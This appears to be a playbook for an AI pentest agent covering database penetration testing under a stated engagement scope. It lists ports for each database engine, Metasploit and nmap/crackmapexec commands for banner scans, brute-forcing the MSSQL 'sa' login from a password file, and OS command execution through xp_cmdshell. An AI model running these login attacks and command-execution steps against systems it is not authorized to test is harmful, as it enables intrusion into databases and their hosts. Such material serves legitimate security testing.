database-pentest

Database Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• AD engagements with MSSQL: also load internal-ad-pentest.
• SQLi entry vector: load sqli-pentest first, return here for post-access.

Workflow

Task Progress:
- [ ] Identify DB engine and version from banner or injection
- [ ] Enumerate users, roles, linked servers, command execution paths
- [ ] Map to credential reuse and lateral movement

Engine identification

Port	Engine
1433/1434	MSSQL
1521	Oracle
3306	MySQL
5432	PostgreSQL
27017	MongoDB
6379	Redis
9200	Elasticsearch

Banner scan

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/mssql/mssql_ping",
  engagement_id="<id>",
  options={"RHOSTS": "<target>"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/oracle/oracle_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 1521}
)

CLI fallback:

nmap -sV -p 1433,1521,3306,5432,27017,6379,9200 <target>

MSSQL

Discovery and auth

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/mssql/mssql_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "sa", "PASS_FILE": "/tmp/passwords.txt"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/admin/mssql/mssql_enum",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "sa", "PASSWORD": "password"}
)

CLI fallback:

crackmapexec mssql <target> -u sa -p password
nmap --script ms-sql-info,ms-sql-empty-password -p 1433 <target>
Get-SQLInstanceDomain | Get-SQLServerInfo

xp_cmdshell execution

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/admin/mssql/mssql_exec",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "sa", "PASSWORD": "password", "CMD": "whoami", "USE_WINDOWS_AUTH": false}
)